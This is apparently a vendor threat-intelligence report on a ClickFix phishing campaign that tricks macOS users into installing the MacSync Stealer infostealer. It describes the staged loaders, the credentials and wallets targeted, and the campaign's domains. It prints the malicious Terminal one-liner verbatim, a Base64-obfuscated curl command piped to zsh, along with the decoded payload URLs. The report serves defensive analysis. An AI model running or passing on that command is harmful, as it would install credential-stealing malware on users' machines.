Executive Summary
ThreatWatch360 identified a phishing campaign targeting macOS users with a previously undocumented infostealer tracked as MacSync Stealer.
The campaign used a ClickFix-style infection chain that relied on social engineering rather than software exploits. Victims were instructed to execute a malicious Terminal command disguised as part of a software installation process.
Once executed, the malware deployed multiple payload stages, harvested credentials, targeted cryptocurrency wallets, and exfiltrated sensitive data. The operation also used traffic filtering and dynamic content delivery to reduce detection and hinder analysis.
Initial Discovery and Traffic Filtering Behavior
ThreatWatch360 identified suspicious activity associated with the domain:
filesandwichrobot[.]sbs
The domain displayed different content depending on the visitor's environment. Non-targeted users received benign content, while macOS users were presented with a ClickFix phishing page disguised as a software installation portal.
Victims were instructed to manually run a Terminal command, allowing attackers to abuse legitimate system functionality and bypass many traditional security controls.
Figure 01: ClickFix phishing page targeting macOS users
Infrastructure Analysis
Initial DNS and infrastructure analysis revealed the domain operating behind Cloudflare infrastructure.
Observed IP addresses included:
172.67.165.146
104.21.34.211
At the time of investigation, the domain had very limited security detections despite serving malicious content. Its infrastructure demonstrated dynamic content delivery behavior commonly seen in phishing and malware staging operations.
Figure 02: VirusTotal scan result
Figure 03: Infrastructure reputation overview
ClickFix Payload Delivery Chain
The phishing page instructed victims to execute an obfuscated Terminal command containing a Base64-encoded URL.
curl-kfsSL $(echo'aHR0cDovL2hvdXN0b25wZXN0Y29udHJvbGNvbXBhbnkuY29tL2N1cmwvZjg0ODFmZmYxZGZiZTc0ZjVhZTM1ZTYzY2I2NGI3MDUxYzhiMTMxZDJkZDQ2MjU2MjY3MTFmODcwMzk3MzBlMQ=='|base64 -D)|zsh
The command decoded to:
<http://houstonpestcontrolcompany>[.]com/curl/f8481fff1dfbe74f5ae35e63cb64b7051c8b131d2dd4625626711f87039730e1
The infection chain used encoded infrastructure, remote payload retrieval through curl, and immediate execution through zsh.
Despite actively distributing malware, the delivery infrastructure initially showed little to no security detections, highlighting the challenge of identifying newly deployed attacker infrastructure during the early stages of a campaign.
Figure 04: VirusTotal analysis of the payload delivery infrastructure
Figure 05: Infrastructure reputation analysis for houstonpestcontrolcompany[.]com
Multi-Stage Loader Analysis
Analysis of the first-stage shell loader revealed multiple layers of obfuscation, including Base64 encoding, gzip compression, and runtime execution through eval.
Further decoding exposed additional staging logic that downloaded and executed AppleScript payloads from a remote endpoint. This confirmed macOS-specific targeting and demonstrated a layered approach designed to conceal the malware's final functionality.
Figure 06: First-stage obfuscated shell loader using Base64 and gzip compression
This confirmed the malware was operating as a staged loader designed to conceal secondary functionality from static analysis.
To safely inspect the embedded payload, ThreatWatch360 extracted the Base64 blob separately and decoded it offline without execution.
The decoded content revealed additional staging logic involving AppleScript execution.
The malware dynamically retrieved its final payload from:
<http://houstonpestcontrolcompany>[.]com/dynamic
MacSync Stealer Identification
Further analysis of the final AppleScript payload exposed extensive credential theft and reconnaissance capabilities.
The malware internally identified itself as:
MacSync Stealer
Build Tag: sss2
Version: 1.1.2_release
Figure 07: Internal malware identification string referencing MacSync Stealer
The malware targeted browser credentials, Safari cookies, Telegram sessions, Apple Keychain data, SSH credentials, AWS credentials, Kubernetes configurations, shell histories, locally stored documents, and cryptocurrency wallets.
Observed wallet targets included Ledger Live, Ledger Wallet, Trezor Suite, MetaMask, Exodus, Atomic Wallet, and Electrum. The malware also contained wallet hijacking capabilities.
Figure 08: Targeted wallet identification
Exfiltration and Operational Workflow
After harvesting victim data, the malware archived stolen content into:
/tmp/osalogging.zip
The archive was then segmented and transmitted to attacker-controlled infrastructure.
Additional functionality included system profiling, process enumeration, username collection, display information gathering, and password prompt abuse. By leveraging AppleScript, the malware blended malicious activity with legitimate macOS automation workflows.
Threat Actor Monetization Model
ThreatWatch360 assesses the operation as financially motivated with strong cryptocurrency theft objectives.
Likely monetization methods include wallet theft, credential resale, cloud account abuse, session hijacking, and access brokerage. The campaign's infrastructure and delivery techniques closely resemble those used by modern Malware-as-a-Service operations.
The use of ClickFix techniques also suggests an emphasis on scalability and low-cost social engineering rather than exploit development.
Threat Intelligence Assessment
MacSync Stealer demonstrates the continued evolution of macOS-focused malware.
The campaign combined traffic filtering, staged payload delivery, AppleScript execution, cloud credential targeting, and cryptocurrency-focused theft within a single operation.
It also reflects a growing trend in which attackers avoid exploiting software vulnerabilities and instead rely on user trust and legitimate system tools. Because execution depends on user interaction, traditional exploit-focused detections may not identify the compromise chain early.
Organizations operating macOS environments, cloud infrastructure, developer workstations, or cryptocurrency assets face elevated exposure to this type of threat.
Indicators of Compromise (IOCs)
Domains
filesandwichrobot[.]sbs
houstonpestcontrolcompany[.]com
Conclusion
MacSync Stealer represents a modern ClickFix campaign targeting macOS users through social engineering and staged malware delivery.
By combining user-assisted execution, native macOS tooling, and extensive credential theft capabilities, the operators were able to compromise systems without relying on traditional exploits.
The campaign highlights how low-detection infrastructure, trusted system utilities, and social engineering continue to enable effective phishing operations against both individuals and organizations.
ThreatWatch360 continues to monitor emerging phishing infrastructure, malware campaigns, and credential theft operations to help organizations identify and mitigate evolving threats.
